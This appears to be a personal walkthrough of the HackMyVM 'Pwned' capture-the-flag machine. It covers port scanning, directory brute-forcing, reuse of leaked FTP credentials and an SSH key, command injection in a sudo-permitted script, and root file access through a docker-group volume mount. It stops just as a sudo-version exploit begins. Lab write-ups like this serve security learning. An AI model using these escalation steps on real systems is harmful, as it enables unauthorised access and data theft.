In this write-up, I will guide you through the steps I took to complete the HackMyVM - Pwned CTF challenge. The objective is to gain root access to the target machine by exploiting identified vulnerabilities. Checkout the video (update this).
TL;DR
Reconnaissance
Network/Port Scanning (Nmap)
Command:
nmap -sV -sC -vv -oA pwned 172.16.101.85
Explanation:
nmap: Tool used to scan network and ports to discover which services are running.
-sV: Perform version detection of services.
-sC: Scan using default scripts.
-oA: Output in filename "pwned".
172.16.101.85: IP address of Pwned VM on my network.
Output:
# Nmap 7.95 scan initiated Mon Oct 21 22:39:08 2024 as: nmap -sC -sV -vv -oA pwned -p- 172.16.101.85
Nmap scan report for pwned.home.com (172.16.101.85)
Host is up, received syn-ack (0.0070s latency).
Scanned at 2024-10-21 22:39:08 PDT for 12s
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 3.0.3
22/tcp open ssh syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fe:cd:90:19:74:91:ae:f5:64:a8:a5:e8:6f:6e:ef:7e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaQPyAx8qSGlWyyuL5xu/6lWdbWs6VArMlRC71wt11kYKMGUTuVmPvLAdSAL66haaz0DCvquZMOmeYNHvM7/OjfmkwlIt3Wv53q/23AODRwPGkpj00QCNH/Vqt6Aw94Afo3etyW9SU3vzLC2F3mS18cqXApmV90NIH3d6ayhsDP+aPuQFoFqEzDxzy2RkosueaEERECT0auT+pTIwRMCHBEVX98Srd8+ax1yhWITRTGOYXcdocx0m9tooFUEH/a1P3RK3gBzCL63ZejMN9YofBl8y+CwCt+0nBLg+PtNjjskD9CaBwxUmH0/UM24z9BQecPn3IFmm3+P5U0z1DQEhf
| 256 81:32:93:bd:ed:9b:e7:98:af:25:06:79:5f:de:91:5d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDHWpwgF92XD4REIANL7X9lMcQSwcbhlNqwBvNi8l4SzQn5MjSzlBQzgcC7Kro57lCr0kImH+XdijG+r6lyps70=
| 256 dd:72:74:5d:4d:2d:a3:62:3e:81:af:09:51:e0:14:4a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHPgRt1LF33Ttn5DuGuJJpmgbMd2ofAkqEt6gTOQK+WW
80/tcp open http syn-ack Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Pwned....!!
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Oct 21 22:39:20 2024 -- 1 IP address (1 host up) scanned in 12.38 seconds
Findings:
We see that there is a web server running on port 80, an FTP server on port 21 and an SSH server on port 22 which I am assuming is for better shell access after we find the user password or private key.
Let's check out the web server and in the background we can run gobuster to brute force web directories.
Directory Brute-forcing (Gobuster)
While we brute force the directory of the website, we can check out the website on a browser.
Command:
gobuster dir -u http://172.16.101.85 -w /SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,txt,html | tee -a pwned.gobuster
Note: I have setup an alias to run gobuster inside a docker container.
Alias:
alias gobuster='docker run -it --rm --name gobuster -v /home/ayush/Tools/SecLists/:/SecLists ghcr.io/oj/gobuster'
Explanation:
dir: Mode of operation indicating directory/file enumeration.
-u http://172.16.100.9: Base URL of the target web server to scan.
-w /SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt: Base URL of the target web server to scan.
-x php,txt,html: Search for the PHP, HTML and TXT file extensions.
Here we find some more possible URLs that we should take a look at. To see which URL of the above work we can use Intruder from BurpSuite and take a look at the responses.
Send the following request to Intruder in BurpSuite and add the payload as shown:
Copy the payloads from the above list (without the "/") and paste it in the Payloads tab in Intruder, and start the attack.
Following is the result of the attack:
We can see that only one page is reachable and the rest give a status code of 404.
So let's try visiting the URL /pwned.vuln:
With the following as the source code of the page:
The source code gives us the credentials for the user ftpuser. We can try these credentials on the FTP server.
Exploitation
FTP Server (ftpuser) Access
Use the following command to connect to FTP server:
ftp 172.16.101.85
And when prompted, enter the credentials we found.
We get access to the FTP server and we can see that there is a directory share available on the server.
To download all the files from the FTP server, use the following command:
wget -m ftp://ftpuser:B0ss_B\!TcH@172.16.101.85
Output:
After running the above command, a directory called 172.16.101.85 will be present in your current working directory and inside it will be the share directory from the FTP server.
From the contents of the files present in the share folder, we get a Private Key and a note which mentions ariana which could be the user associated with the Private Key.
User (ariana) Access
Let's save the Private Key in our .ssh folder and use it to get SSH access to the ariana user.
Save the Private Key:
cp id_rsa ~/.ssh/pwned
SSH into the server:
ssh -i ~/.ssh/pwned ariana@172.16.101.85
We see that the credentials work and we have shell access for the user ariana.
Read the user.txt file to get the flag:
cat user1.txt
Lateral Movement
We see that there is another file present in the user's ariana home directory which has the following contents:
We see that there is another file present in the user's ariana home directory which has the following contents:
So, thus we get the names of other users present in the system, namely selena and ajay.
User (selena) Access
To get a privilege escalation, we check sudo permissions with the following command:
sudo -l
We see that the user ariana can run the /home/messenger.sh script as the user selena. So, lets take a look at the script.
Command:
cat -n /home/messenger.sh
Output:
In the script, we can see that on line number 12, the script asks for a user input which is saved in the msg variable and then this msg variable is run as a command on line number 16. So, we can execute commands by giving them as a input to the msg variable.
So let's run the script as selena and give our command bash when asked for the msg input.
Command:
sudo -u selena /home/messenger.sh
Output:
On giving our payload bash, the script is stuck and when we give another command, we see that the command executed and that we have a bash shell as the user selena.
On running the id command as the user selena, we see that selena is part of the docker group, so we can execute docker commands.
Now, it is easy to get a higher privilege access. In this case, we will not get access to the root user of the system but we can mount the whole system as a volume on a docker container and thus have access to all the files in the system without any restrictions.
So, we run the following command to create a container that has a bind mount to the / directory:
docker run --rm -it --name ubuntu -v /:/rooted ubuntu
Here, we are mounting the / directory to the /rooted directory on the container so that there is no conflict with the container files.
Output:
And finally, we can read the root flag:
cat /rooted/root/root.txt
Easier Privilege Escalation
As there is not a flag for the user selena, there is another way we can directly get root access from the user ariana. I believe this was not intended by the creator of the box as the box is very old and the vulnerability was reported in 2021.
Anyway, I just want to show that there is another way to get root access to the box.
Run the following command to check the version of sudo program:
sudo -V
Output:
Sudo version 1.8.27
Sudoers policy plugin version 1.8.27
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.27
Clone the GitHub repository with the following command: